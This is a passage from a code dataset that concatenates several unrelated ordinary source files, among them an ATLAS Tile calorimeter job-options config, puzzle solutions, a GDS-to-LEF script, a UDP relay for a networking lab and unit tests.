in dir():\n Version = 0\nSuffix=(\"%d\" % Version )\n\n# - input file with hits\nif not 'PoolHitsInput' in dir():\n PoolHitsInput = 'HITS.pool.root'\n\n# - output file with digits\nif not 'PoolRDOOutput' in dir():\n PoolRDOOutput = 'DIGITS.pool_%s.root' % Suffix\n\nif not 'ConddbTag' in dir():\n ConddbTag = 'OFLCOND-MC23-SDR-RUN3-01'\n\nif not 'DetDescrVersion' in dir():\n DetDescrVersion = 'ATLAS-R3S-2021-03-00-00'\n\n# adding directory names to all input/output files\nif not \"/\" in DBFileBch and DBFileBch!=\"\" and SqliteDirectoryBch!=\".\": DBFileBch=SqliteDirectoryBch+\"/\"+DBFileBch\nif not \"/\" in DBFileNoise and DBFileNoise!=\"\" and SqliteDirectoryNoise!=\".\": DBFileNoise=SqliteDirectoryNoise+\"/\"+DBFileNoise\nif not \"/\" in DBFileCesium and DBFileCesium!=\"\" and SqliteDirectoryCesium!=\".\": DBFileCesium=SqliteDirectoryCesium+\"/\"+DBFileCesium\nif not \"/\" in PoolHitsInput and InputDirectory!=\".\" : PoolHitsInput=InputDirectory+\"/\"+PoolHitsInput\nif not \"/\" in PoolRDOOutput and OutputDirectory!=\".\" : PoolRDOOutput=OutputDirectory+\"/\"+PoolRDOOutput\n\nfrom AthenaCommon.GlobalFlags import globalflags\nglobalflags.DetGeo.set_Value_and_Lock('atlas')\nglobalflags.Luminosity.set_Value_and_Lock('zero')\nglobalflags.DataSource.set_Value_and_Lock('geant4')\nglobalflags.InputFormat.set_Value_and_Lock('pool')\n#globalflags.DatabaseInstance=\"OFLP200\"\n\nfrom TileConditions.TileCoolMgr import tileCoolMgr\nif BchTag!=\"\":\n tileCoolMgr.isOfflineOnly('oflStatAdc')\n tileCoolMgr.setFolder('oflStatAdc','/TILE/OFL02/STATUS/ADC')\n tileCoolMgr.setTag( \"oflStatAdc\",BchTag)\n if DBFileBch!=\"\":\n tileCoolMgr.setDbConn(\"oflStatAdc\", DBFileBch)\n\nif NoiseTag!=\"\":\n tileCoolMgr.setFolder(\"onlNoiseAdc\",\"/TILE/OFL02/NOISE/SAMPLE\")\n tileCoolMgr.setTag(\"onlNoiseAdc\",NoiseTag)\n tileCoolMgr.setFolder(\"oflNoiseAdc\",\"/TILE/OFL02/NOISE/SAMPLE\")\n tileCoolMgr.setTag(\"oflNoiseAdc\",NoiseTag)\n if DBFileNoise!=\"\":\n tileCoolMgr.setDbConn(\"onlNoiseAdc\", DBFileNoise)\n tileCoolMgr.setDbConn(\"oflNoiseAdc\", DBFileNoise)\n\nif CesiumTag!=\"\":\n tileCoolMgr.setFolder(\"onlCes\",\"/TILE/OFL02/CALIB/CES\")\n tileCoolMgr.setTag(\"onlCes\",CesiumTag)\n tileCoolMgr.setFolder(\"oflCes\",\"/TILE/OFL02/CALIB/CES\")\n tileCoolMgr.setTag(\"oflCes\",CesiumTag)\n if DBFileCesium!=\"\":\n tileCoolMgr.setDbConn(\"onlCes\", DBFileCesium)\n tileCoolMgr.setDbConn(\"oflCes\", DBFileCesium)\n\n\n\n#--------------------------------------------------------------\n# AthenaCommon configuration\n#--------------------------------------------------------------\nfrom AthenaCommon.AthenaCommonFlags import jobproperties\n#jobproperties.AthenaCommonFlags.AllowIgnoreConfigError=False #This job will stop if an include fails.\n\njobproperties.AthenaCommonFlags.EvtMax = EvtMax\n# Set input file\njobproperties.AthenaCommonFlags.PoolHitsInput=[]\nfor i in range (0,100): # one file contains few events only, use it 100 times\n jobproperties.AthenaCommonFlags.PoolHitsInput+=[PoolHitsInput]\njobproperties.AthenaCommonFlags.PoolRDOOutput=PoolRDOOutput\n\n#--------------------------------------------------------------------\n# DetFlags. Use to turn on/off individual subdetector or LVL1 trigger\n#--------------------------------------------------------------------\nfrom AthenaCommon.DetFlags import DetFlags\n\nDetFlags.ID_setOff()\nDetFlags.Calo_setOff()\nDetFlags.Muon_setOff()\nDetFlags.LVL1_setOff()\n#DetFlags.sTGCMicromegas_setOff()\n\nDetFlags.Truth_setOn()\n\nDetFlags.Tile_setOn()\n\n# - switch off tasks\nDetFlags.pileup.all_setOff()\nDetFlags.simulate.all_setOff()\nDetFlags.makeRIO.all_setOff()\nDetFlags.writeBS.all_setOff()\nDetFlags.readRDOBS.all_setOff()\nDetFlags.readRIOBS.all_setOff()\nDetFlags.readRDOPool.all_setOff()\nDetFlags.writeRDOPool.all_setOff()\nDetFlags.readRIOPool.all_setOff()\nDetFlags.writeRIOPool.all_setOff()\nDetFlags.simulateLVL1.all_setOff()\n\n# - print flags\nDetFlags.Print()\n\n\n#--------------------------------------------------------------\n# Global flags. Like eg the DD version:\n#--------------------------------------------------------------\nfrom AthenaCommon.BeamFlags import jobproperties\njobproperties.Beam.beamType.set_Value_and_Lock('collisions')\n\n#from IOVDbSvc.CondDB import conddb\n#conddb.setGlobalTag(ConddbTag);\n#log.info( \"ConddbTag = %s\" % (ConddbTag) )\n\nfrom AthenaCommon.GlobalFlags import jobproperties\njobproperties.Global.DetDescrVersion = DetDescrVersion\nlog.info( \"DetDescrVersion = %s\" % (jobproperties.Global.DetDescrVersion()) )\n\nfrom AtlasGeoModel import SetGeometryVersion\nfrom AtlasGeoModel import GeoModelInit\nfrom GeoModelSvc.GeoModelSvcConf import GeoModelSvc\nGeoModelSvc = GeoModelSvc()\nGeoModelSvc.IgnoreTagDifference = True\nlog.info( \"GeoModelSvc.AtlasVersion = %s\" % (GeoModelSvc.AtlasVersion) )\n#GeoModelSvc.TileVersionOverride = \"TileCal-GEO-13\"\n#log.info( \"GeoModelSvc.TileVersionOverride = %s\" % (GeoModelSvc.TileVersionOverride) )\n\n#--------------------------------------------------------------\n# Digitiziation and Pileup configuration\n#--------------------------------------------------------------\nfrom Digitization.DigitizationFlags import jobproperties\n# jobproperties.Digitization.doInDetNoise=True\njobproperties.Digitization.doCaloNoise = True\n# This tag must be specified for dowstream jobs\njobproperties.Digitization.IOVDbGlobalTag = ConddbTag\njobproperties.Digitization.simRunNumber = RunNumber\njobproperties.Digitization.dataRunNumber = RunNumber\n# jobproperties.Digitization.doMuonNoise=True\n# jobproperties.Digitization.doMinimumBias=True\n# jobproperties.Digitization.numberOfCollisions=2.3\n# jobproperties.Digitization.minBiasInputCols=[\"\", \"\", \"\" ]\n# jobproperties.Digitization.doCavern=True\n# jobproperties.Digitization.numberOfCavern=2\n# jobproperties.Digitization.cavernInputCols=[\"\", \"\"]\n# jobproperties.Digitization.doBeamGas=True\n# jobproperties.Digitization.numberOfBeamGas=0.5\n# jobproperties.Digitization.beamGasInputCols=[\"\", \"\"]\n\ninclude.block ( \"TileL2Algs/TileL2Algs_jobOptions.py\" )\n\nfrom TileRecUtils.TileRecFlags import jobproperties\njobproperties.TileRecFlags.doTileOptATLAS = True\n\ninclude( \"Digitization/Digitization.py\" )\n\n# don't need any hits at input\ntopSequence.StandardPileUpToolsAlg.PileUpTools[0].TileHitVectors=[]\n\n# Set this to False for monogain\n# True => Bigain, use this to derive constants\n# False => Monogain, use this to digitize a simulation containing signal\ntopSequence.TileDigitsMaker.CalibrationRun=True\n#topSequence.TileDigitsMaker.OutputLevel=VERBOSE\n\n# don't need any L1 or L2 algorithms\ndel topSequence.TileHitToTTL1\ndel topSequence.TileRawChannelToL2\n\n# add Noise Calib Tool\nfrom TileCalibAlgs.TileCalibAlgsConf import TileRawChNoiseCalibAlg\n\ntheTileRawChNoiseCalibAlg = TileRawChNoiseCalibAlg( \"theTileRawChNoiseCalibAlg\" )\ntheTileRawChNoiseCalibAlg.doFixed = True\ntheTileRawChNoiseCalibAlg.doFit = False\ntheTileRawChNoiseCalibAlg.doOpt = False\ntheTileRawChNoiseCalibAlg.doDsp = False\ntheTileRawChNoiseCalibAlg.doOF1 = False\ntheTileRawChNoiseCalibAlg.doMF = False\ntheTileRawChNoiseCalibAlg.UseforCells = 1\ntheTileRawChNoiseCalibAlg.TileRawChannelContainerFixed = \"TileRawChannelCnt\"\ntheTileRawChNoiseCalibAlg.RunNumber = RunNumber\ntheTileRawChNoiseCalibAlg.MaskBadChannels = True\nPrefix = '%(Dir)s/RawCh_NoiseCalib_%(Version)s' % {'Dir': OutputDirectory, 'Version': Suffix }\ntheTileRawChNoiseCalibAlg.FileNamePrefix = Prefix\n\ntopSequence += theTileRawChNoiseCalibAlg\n\nif not 'OutputLevel' in dir():\n OutputLevel = 4\nsvcMgr.MessageSvc.OutputLevel = OutputLevel\nsvcMgr.MessageSvc.defaultLimit = 1000000\nsvcMgr.MessageSvc.Format = \"% F%60W%S%7W%R%T %0W%M\"\nsvcMgr.MessageSvc.useColors = False\n\nfrom AthenaServices.AthenaServicesConf import AthenaEventLoopMgr\nsvcMgr += AthenaEventLoopMgr()\nsvcMgr.AthenaEventLoopMgr.EventPrintoutInterval = 100\n\nfrom AthenaCommon.AlgSequence import AthSequencer\ncondSequence = AthSequencer(\"AthCondSeq\")\nif hasattr(condSequence, 'TileSamplingFractionCondAlg'):\n condSequence.TileSamplingFractionCondAlg.G4Version = -1\n\nprint (topSequence)\n","repo_name":"Yusuf-Manjra/athena","sub_path":"TileCalorimeter/TileExample/TileSimEx/share/jobOptions_NoiseMC.py","file_name":"jobOptions_NoiseMC.py","file_ext":"py","file_size_in_byte":9746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23395695611","text":"import math\r\nfo = open('C-small-attempt0.in','rU');\r\nfr = open('results.txt','w');\r\n\r\nnumTests = int(fo.readline().strip())\r\nk = 0\r\nwhile (k < numTests ):\r\n numFound = 0\r\n line = fo.readline().strip()\r\n bounds = line.split(' ')\r\n for i in range(int(bounds[0]), int(bounds[1]) + 1):\r\n square = False\r\n palin = False\r\n if (math.sqrt(i) == int(math.sqrt(i))):\r\n p = int(math.sqrt(i))\r\n p_str = str(p)\r\n p_list = list(p_str)\r\n p_rlist = reversed(p_list)\r\n p_rstr = \"\".join(p_rlist)\r\n p_r = int(p_rstr)\r\n if (p == p_r):\r\n square = True\r\n i_str = str(i)\r\n i_list = list(i_str)\r\n i_rlist = reversed(i_list)\r\n i_rstr = \"\".join(i_rlist)\r\n i_r = int(i_rstr)\r\n if (i == i_r):\r\n palin = True\r\n if (square and palin):\r\n numFound += 1\r\n fr.write('Case #{0}: {1}\\n'.format(k+1,numFound))\r\n k += 1\r\nfr.close()\r\nfo.close()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/2765.py","file_name":"2765.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22053646480","text":"import sys\nimport json\nimport gdspy\n\nLAYERS = {'Metal1': (8, 2),\n 'Metal2': (10, 2),\n 'Metal3': (30, 2),\n 'Metal4': (50, 2),\n 'Metal5': (67, 2),\n 'TopMetal1': (126, 2),\n 'TopMetal2': (134, 2)}\n\nIO_SITE_DIM = '1.00 BY 310.00'\n\nIO_PIN_DIR_OVERWRITE = {'DOUT' : 'OUTPUT',\n 'OEN' : 'INPUT',\n 'DIN' : 'INPUT'\n}\n\nIGNORE_LABLES = ['PLUS', 'MINUS', 'nmos', 'pmos', 'BLC_BOT', 'BLC_TOP', 'BLT_BOT', 'BLT_TOP',\n 'RWL', 'LWL', 'BLT', 'BLC_', 'SEL', 'BLT_SEL', 'PRE_N', 'WR_ZERO', 'WR_ONE',\n 'SEL_P', 'VSS', 'VDD', 'A_LWL<15>', 'A_LWL<14>', 'A_LWL<13>', 'A_LWL<12>',\n 'A_LWL<11>', 'A_LWL<10>', 'A_LWL<9>', 'A_LWL<8>', 'A_LWL<7>', 'A_LWL<6>',\n 'A_LWL<5>', 'A_LWL<4>', 'A_LWL<3>', 'A_LWL<2>', 'A_LWL<1>', 'A_LWL<0>',\n 'A_RWL<15>', 'A_RWL<14>', 'A_RWL<13>', 'A_RWL<12>', 'A_RWL<11>', 'A_RWL<10>',\n 'A_RWL<9>', 'A_RWL<8>', 'A_RWL<7>', 'A_RWL<6>', 'A_RWL<5>', 'A_RWL<4>',\n 'A_RWL<3>', 'A_RWL<2>', 'A_RWL<1>', 'A_RWL<0>', 'A_BLT<15>', 'A_BLT<14>',\n 'A_BLT<13>', 'A_BLT<12>', 'A_BLT<11>', 'A_BLT<10>', 'A_BLT<9>', 'A_BLT<8>',\n 'A_BLT<7>', 'A_BLT<6>', 'A_BLT<5>', 'A_BLT<4>', 'A_BLT<3>', 'A_BLT<2>',\n 'A_BLT<1>', 'A_BLT<0>', 'A_BLC<15>', 'A_BLC<14>', 'A_BLC<13>', 'A_BLC<12>',\n 'A_BLC<11>', 'A_BLC<10>', 'A_BLC<9>', 'A_BLC<8>', 'A_BLC<7>', 'A_BLC<6>',\n 'A_BLC<5>', 'A_BLC<4>', 'A_BLC<3>', 'A_BLC<2>', 'A_BLC<1>', 'A_BLC<0>'\n ]\n\n\ndef inside(text_anchor: list, polygon: list) -> bool:\n \"\"\"Determine if an anchor is inside a polygon\"\"\"\n res = int(polygon[0][0]) <= int(text_anchor[0])\n res &= int(text_anchor[0]) <= int(polygon[2][0])\n res &= int(polygon[0][1]) <= int(text_anchor[1])\n res &= int(text_anchor[1]) <= int(polygon[2][1])\n return res\n\n\ndef format_polygon(polygon: list) -> str:\n \"\"\"Format a polygon\"\"\"\n res = f'{round(polygon[0][0]/1000.0, 3)} '\n res += f'{round(polygon[0][1]/1000.0, 3)} '\n res += f'{round(polygon[2][0]/1000.0, 3)} '\n res += f'{round(polygon[2][1]/1000.0, 3)}'\n return res\n\n\ndef extract_gds(gds_file: str) -> list:\n \"\"\"Extract all required data from GDS\"\"\"\n\n gds = gdspy.GdsLibrary(name='chip', infile=gds_file, unit=1e-9, precision=1e-9, units='convert')\n\n # keep the info on the cells in this dict\n cell_content = {}\n\n for cell in gds.top_level():\n\n # calc the size of the cell\n bbox = cell.get_bounding_box()\n cell_width = round((bbox[1][0] - bbox[0][0]) / 1000.0)\n cell_height = round((bbox[1][1] - bbox[0][1]) / 1000.0)\n\n # a dict containing all the polygons for each pin and port\n ports = {}\n\n # get all the polygons from the cell\n all_polygons = cell.get_polygons(by_spec=True)\n # get all labels from the cell\n all_labels = cell.get_labels()\n\n # report some kind of status\n print(f'[INFO] Working on cell {cell.name}', file=sys.stderr)\n print(f'[INFO] Found {len(all_polygons)} polygons', file=sys.stderr)\n print(f'[INFO] Found {len(all_labels)} labels', file=sys.stderr)\n\n # drop some labels\n filtered_labels = []\n for lbl in all_labels:\n if lbl.text not in IGNORE_LABLES:\n filtered_labels.append(lbl)\n\n print(f'[INFO] Kept {len(filtered_labels)} labels', file=sys.stderr)\n\n # do the extraction. Check for every layer if the label anchors match the polygon\n for met in LAYERS:\n layer = LAYERS[met]\n print(f'[INFO] Analyzing {met}, {layer}', file=sys.stderr)\n if layer in all_polygons:\n for polygon in all_polygons[layer]:\n for label in all_labels:\n if inside(label.position, polygon) and label.layer == layer[0]:\n # construct the output dict\n if label.text not in ports:\n ports[label.text] = {}\n if met not in ports[label.text]:\n ports[label.text][met] = []\n ports[label.text][met].append(format_polygon(polygon))\n # add info\n cell_content[cell.name] = {'ports': ports, 'width': cell_width, 'height': cell_height}\n return cell_content\n\n\ndef render_lef(cells: dict, gds_name: str, cell_type: str) -> str:\n \"\"\"Render the LEF\"\"\"\n render = ''\n\n render += '# Copyright 2023 ETH Zurich and University of Bologna.\\n'\n render += '# Solderpad Hardware License, Version 0.51, see LICENSE for details.\\n'\n render += '# SPDX-License-Identifier: SHL-0.51\\n\\n'\n\n render += '# LEF for the sg13g2_pad library\\n'\n render += f'# Automatically generated by {sys.argv[0]}\\n'\n render += f'# Extracted from {gds_name}\\n\\n'\n\n render += '# Authors:\\n'\n render += '# - Thomas Benz <tbenz@iis.ee.ethz.ch>\\n\\n'\n\n # render the header\n render += 'VERSION 5.7 ;\\n'\n render += 'BUSBITCHARS \"<>\" ;\\n'\n render += 'DIVIDERCHAR \"/\" ;\\n\\n'\n\n render += 'PROPERTYDEFINITIONS\\n'\n render += ' MACRO CatenaDesignType STRING ;\\n'\n render += 'END PROPERTYDEFINITIONS\\n\\n'\n\n if cell_type == 'io':\n render += 'SITE IOSite\\n'\n render += ' CLASS PAD ;\\n'\n render += ' SYMMETRY R90 ;\\n'\n render += ' SIZE {IO_SITE_DIM} ;\\n'\n render += 'END IOSite\\n\\n'\n\n for cell in cells:\n ports = cells[cell]['ports']\n # render the port content\n render += f'MACRO {cell}\\n'\n if cell_type == 'io':\n if cell.startswith('fill'):\n render += ' CLASS PAD_SPACER ;\\n'\n else:\n render += ' CLASS PAD ;\\n'\n\n render += ' ORIGIN 0 0 ;\\n'\n render += f' FOREIGN {cell} 0 0 ;\\n'\n render += f' SIZE {cells[cell][\"width\"]} BY {cells[cell][\"height\"]} ;\\n'\n render += ' SYMMETRY X Y R90 ;\\n'\n if cell_type == 'io':\n render += ' SITE IOSite ;\\n'\n\n # pins\n for pin in ports:\n render += f' PIN {pin}\\n'\n if pin in IO_PIN_DIR_OVERWRITE:\n render += f' DIRECTION {IO_PIN_DIR_OVERWRITE[pin]} ;\\n'\n else:\n render += ' DIRECTION INOUT ;\\n'\n if pin.startswith('VDD'):\n render += ' USE POWER ;\\n'\n elif pin.startswith('VSS'):\n render += ' USE GROUND ;\\n'\n else:\n render += ' USE SIGNAL ;\\n'\n\n # render ports\n for port in ports[pin]:\n render += ' PORT\\n'\n render += f' LAYER {port} ;\\n'\n for poly in ports[pin][port]:\n render += f' RECT {poly} ;\\n'\n render += ' END\\n'\n render += f' END {pin}\\n'\n\n # obs\n if cell_type == 'io':\n render += ' OBS\\n'\n for metal in LAYERS:\n render += f' LAYER {metal} ;\\n'\n render += f' RECT 0 0 {cells[cell][\"width\"]} {cells[cell][\"height\"]} ;\\n'\n render += ' END\\n'\n\n render += f'END {cell}\\n\\n'\n\n\n\n return render\n\n\n\nif __name__ == '__main__':\n\n _, gds_file = sys.argv\n\n gds_name = gds_file.split('/')[-1]\n gds_stem = gds_name[:-4]\n\n extracted_data = extract_gds(gds_file)\n\n lef = render_lef(extracted_data, gds_name, 'io')\n\n with open(f'{gds_stem}.json', 'w', encoding='utf-8') as jdf:\n json.dump(extracted_data, jdf, ensure_ascii=True, indent=4)\n\n with open(f'{gds_stem}.lef', 'w', encoding='utf-8') as leff:\n leff.write(lef)\n","repo_name":"pulp-platform/iguana","sub_path":"target/ihp13/pdk/future/scripts/gds2lef_sg13g2.py","file_name":"gds2lef_sg13g2.py","file_ext":"py","file_size_in_byte":7794,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"61"} +{"seq_id":"27257663992","text":"import threading\nimport socket\nimport time\n\n# Messaging Port = 8080\n# Controlling Port = 7070\n\ndef server(src_ip, src_port, dst_ip, dst_port):\n \"\"\"\n Server thread implementation.\n If receives packet from s and send it to d.\n If receives packet from d and send it to s.\n Args:\n ip: IP of the machine that is connected\n to the corresponding client program.\n port: Port number that is connected to\n the corresponding client program.\n \"\"\"\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) \n server_socket.bind((src_ip, src_port))\n while True:\n data, addr = server_socket.recvfrom(1024)\n server_socket.sendto(data, (dst_ip, dst_port))\n\ndef main():\n \"\"\"\n Main function initializing the threads and killing them at the end.\n \"\"\"\n t_server_from_s_to_d = threading.Thread(target=server, args=(\"10.10.3.2\", 8080, \"10.10.7.1\", 8080))\n t_server_from_d_to_s = threading.Thread(target=server, args=(\"10.10.7.2\", 8080, \"10.10.3.1\", 8080))\n t_server_from_s_to_d.daemon = True# This ensures that the server thread will be killed after main is done\n t_server_from_d_to_s.daemon = True# This ensures that the server thread will be killed after main is done\n t_server_from_s_to_d.start()\n t_server_from_d_to_s.start()\n termination_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n termination_socket.bind((\"10.10.3.2\", 7070))\n termination_socket.recvfrom(1024)# Wait for s to inform you that you and the server thread can die in peace\n termination_socket.sendto(\"!\".encode(), (\"10.10.7.1\", 7070))# Say d that \"YOU SHALL DIE IN PEACE MY BROTHER!\"\n\nmain()\n","repo_name":"sinasehlaver/network","sub_path":"tp1/experimentScripts/r3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3131530182","text":"class HeightMap:\n\n def __init__(self, topo):\n self.topo = topo\n\n def get_low(self):\n for i, line in enumerate(self.topo):\n for j, c in enumerate(line):\n if c == 97:\n yield i, j\n\n def get_height(self, i, j):\n return self.topo[i][j]\n\n def get_paths(self, i, j):\n height = self.get_height(i, j)\n for di, dj in [(1, 0), (0, 1), (-1, 0), (0, -1)]:\n if i + di < 0 or i + di == len(self.topo):\n continue\n if j + dj < 0 or j + dj == len(self.topo[0]):\n continue\n if self.get_height(i + di, j + dj) > height + 1:\n continue\n yield i + di, j + dj\n\n\ndef parse_map():\n topo = []\n start = None\n end = None\n for i, line in enumerate(open('input.txt')):\n topo.append([])\n line = line.strip()\n for j, c in enumerate(line):\n if c == 'S':\n start = (i, j)\n topo[i].append(ord('a'))\n elif c == 'E':\n end = (i, j)\n topo[i].append(ord('z'))\n else:\n topo[i].append(ord(c))\n return topo, start, end\n\n\ndef traverse(height_map, node):\n queue = [node]\n visited = {node,}\n paths = {}\n\n while queue:\n new_path = queue.pop(0)\n for path in height_map.get_paths(*new_path):\n if path not in visited:\n visited.add(path)\n queue.append(path)\n paths[path] = new_path\n return paths\n\n\ndef task1():\n topo, start, end = parse_map()\n height_map = HeightMap(topo)\n paths = traverse(height_map, start)\n node = end\n shortest = []\n while True:\n shortest.append(node)\n if paths[node] == start:\n break\n node = paths[node]\n return len(shortest)\n\n\ndef task2():\n topo, _, end = parse_map()\n height_map = HeightMap(topo)\n min_steps = float('inf')\n for start in height_map.get_low():\n node = end\n paths = traverse(height_map, start)\n shortest = []\n while True:\n shortest.append(node)\n if node not in paths:\n break\n if paths[node] == start:\n if len(shortest) < min_steps:\n min_steps = len(shortest)\n break\n node = paths[node]\n return min_steps\n\n\nif __name__ == '__main__':\n print(task1())\n print(task2())\n","repo_name":"vharitonsky/advent-of-code-2022","sub_path":"day12/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14891959885","text":"import unittest\n\nfrom gcs import LatLng, SnapOptions\nfrom gcs.encoders import google_polyline\n\nclass PolylineSnapTestCase(unittest.TestCase):\n \n def __snap(self, point, encoded_polyline, options, result):\n polyline = google_polyline.decode_polyline(encoded_polyline) \n \n #self.assertFalse(polyline.bounds.contains(point))\n snap = polyline.snap_point(point, options)\n \n if result: \n self.assertNotEqual(snap, None) \n else:\n self.assertEqual(snap, None)\n \n return snap \n \n def testGoodSnaps(self):\n options = SnapOptions(max_distance=15.0/1000)\n \n self.__snap(LatLng(30.435380, -91.168733), \"{ivxDhmmkPeBVm@J[H_A^k@Xi@PW@W?k@I_@S{EmD_@Sm@Qk@CQA]Be@F{Bh@cAN\", options, True)\n \n options.max_distance = 0.1\n \n self.__snap(LatLng(42.32541, -71.179567), \"esiaG|qlqLeB]AjAFh@Ax@AtAGfAEvAIj@Gf@Kl@Sz@zCdC\", options, True)\n \n #this point is just outside of the last point of the polyline\n self.__snap(LatLng(42.337333, -71.103065), \"g_laG~h~pL}PoKa@g@\", options, True)\n \n self.__snap(LatLng(42.35902, -71.093656), \"usnaGrt{pLem@zU_CfAsCvBoBtCu`@zw@\", options, True)\n \n self.__snap(LatLng(42.359099, -71.093506), \"usnaGrt{pLem@zU_CfAsCvBoBtCu`@zw@\", options, True)\n \n \n \n def testBadSnaps(self):\n options = SnapOptions(max_distance=15.0/1000)\n \n self.__snap(LatLng(30.5, -91.168733), \"{ivxDhmmkPeBVm@J[H_A^k@Xi@PW@W?k@I_@S{EmD_@Sm@Qk@CQA]Be@F{Bh@cAN\", options, False) \n \n\nif __name__ == '__main_2_':\n unittest.main()","repo_name":"jasonwyatt/GCS","sub_path":"gcs/tests/test_polyline_snap.py","file_name":"test_polyline_snap.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"30845750020","text":"n = int(input())\nwhile n > 0:\n l = int(input())\n data = []\n res = 0\n for i in range(l):\n data.append(list(input()))\n count = 0\n for letter in data[i]:\n res += ord(letter)-65 + i + count\n count += 1\n print(res)\n n-=1","repo_name":"gabaghul/URI","sub_path":"1257.py","file_name":"1257.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10790998464","text":"class Solution:\n def trap(self, height: List[int]) -> int:\n # Solution 1:\n # Time complexity: O(n^2)\n # Space complexity: O(1)\n # res = 0\n # for i in range(1, len(height)):\n # l_max, r_max = 0, 0\n # for j in range(i, len(height)):\n # r_max = max(r_max, height[j])\n # for k in range(i, -1, -1):\n # l_max = max(l_max, height[k])\n # res += min(l_max, r_max) - height[i]\n # return res\n\t\t\n\t\t# Solution 2:\n # Time complexity: O(n)\n # Space complexity: O(1)\n # res = 0\n # l_max = [0] * len(height)\n # r_max = [0] * len(height)\n # for i in range(1, len(height)):\n # l_max[i] = max(l_max[i - 1], height[i - 1])\n # for j in range(len(height) - 2, -1, -1):\n # r_max[j] = max(r_max[j + 1], height[j + 1])\n # for k in range(1, len(height) - 1):\n # trap = min(l_max[k], r_max[k]) - height[k]\n # if trap > 0:\n # res += trap\n # return res\n\t\t\n\t\t# Solution 3:\n # Time complexity: O(n)\n # Space complexity: O(1)\n left, right = 0, len(height) - 1\n l_max, r_max, res = 0, 0, 0\n while left < right:\n l_max = max(l_max, height[left])\n r_max = max(r_max, height[right])\n # r_max 是否是右边最大的并不重要,因为能装多少水取决于短边\n if l_max < r_max:\n res += l_max - height[left]\n left += 1\n else:\n res += r_max - height[right]\n right -= 1\n return res","repo_name":"k9evin/Crashing-LeetCode","sub_path":"42-trapping-rain-water/42-trapping-rain-water.py","file_name":"42-trapping-rain-water.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23571766871","text":"t = int(input())\nfor i in range(1, t + 1):\n n, k = [int(s) for s in input().split(\" \")]\n stalls = []\n #setup\n for j in range(n+2):\n stalls.append(0)\n stalls[0] = 1\n stalls[-1] = 1\n\n for people in range(k):\n stall_info = []\n for stall in range(n+2):\n current_stall = []\n if stalls[stall] != 1:\n #calculate L and R if stall is not occupied\n for left in range(stall, -1, -1):\n if stalls[left] == 1:\n current_stall.append(stall - left - 1)\n break\n for right in range(stall, len(stalls)):\n if stalls[right] == 1:\n current_stall.append(right - stall - 1)\n break\n stall_info.append(current_stall)\n #print(stall_info)\n\n #take stall info and find the min(L, R) and max(L, R)\n stall_values = []\n for stall in range(len(stall_info)):\n if stall_info[stall] != []:\n current_stall_values = []\n current_stall_values.append(min(stall_info[stall][0], stall_info[stall][1]))\n current_stall_values.append(max(stall_info[stall][0], stall_info[stall][1]))\n stall_values.append(current_stall_values)\n else:\n stall_values.append([])\n #print(stall_values)\n max_min = -1\n max_max = 0\n max_min_indexes = []\n max_max_indexes = []\n # those for which min(L, R) is maximal\n # if only one, then choose it\n for values in range(len(stall_values)):\n if stall_values[values] != []:\n if stall_values[values][0] >= max_min:\n max_min = stall_values[values][0]\n #print(stall_values[values], values)\n max_min_indexes.append(values)\n pls_help = []\n for each in max_min_indexes:\n if stall_values[each][0] == max_min:\n pls_help.append(each)\n # otherwise choose the one among where max(L, R) is maximal\n # MIKS TA VÕTAB STALL NR 2, KAS MIDAGI ON MAX KATKI VÄ\n #print(\"indexes\", len(pls_help))\n #print(pls_help)\n if len(pls_help) > 0:\n for value in pls_help:\n if stall_values[value][1] > max_max:\n max_max = stall_values[value][1]\n max_max_indexes.append(value)\n\n y = max_max\n z = max_min\n\n # if still more than 1, choose leftmost\n # put person into appropriate stall\n if len(max_max_indexes) > 0:\n stalls[max_max_indexes[0]] = 1\n else:\n stalls[max_min_indexes[0]] = 1\n\n #print(stall_values)\n\n #print the last max(lr) and min(lr)\n print(\"Case #{}: {} {}\".format(i, y, z))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/2918.py","file_name":"2918.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20206455758","text":"from typing import Optional, Dict\nfrom dataclasses import dataclass, field\n\nimport os\nimport numpy as np\n\nimport torch\nfrom torch import nn\n\nfrom transformers import TrainingArguments, AdamW\nfrom transformers.trainer import Trainer\nfrom transformers.trainer_pt_utils import nested_detach\nfrom transformers.trainer_utils import PredictionOutput\n\nfrom emmental.modules import TopKBinarizer\n\n\ndef regularization(model: nn.Module, mode: str):\n regu, counter = 0, 0\n for name, param in model.named_parameters():\n if \"mask_scores\" in name:\n if mode == \"l1\":\n regu += torch.norm(torch.sigmoid(param), p=1) / param.numel()\n elif mode == \"l0\":\n regu += torch.sigmoid(param - 2 / 3 * np.log(0.1 / 1.1)).sum() / param.numel()\n else:\n ValueError(\"Don't know this mode.\")\n counter += 1\n return regu / counter\n\ndef schedule_threshold(\n step: int,\n total_step: int,\n warmup_steps: int,\n initial_threshold: float,\n final_threshold: float,\n initial_warmup: int,\n final_warmup: int,\n final_lambda: float,\n linear: bool = False,\n):\n assert total_step - final_warmup * warmup_steps > 0\n if step <= initial_warmup * warmup_steps:\n threshold = initial_threshold\n 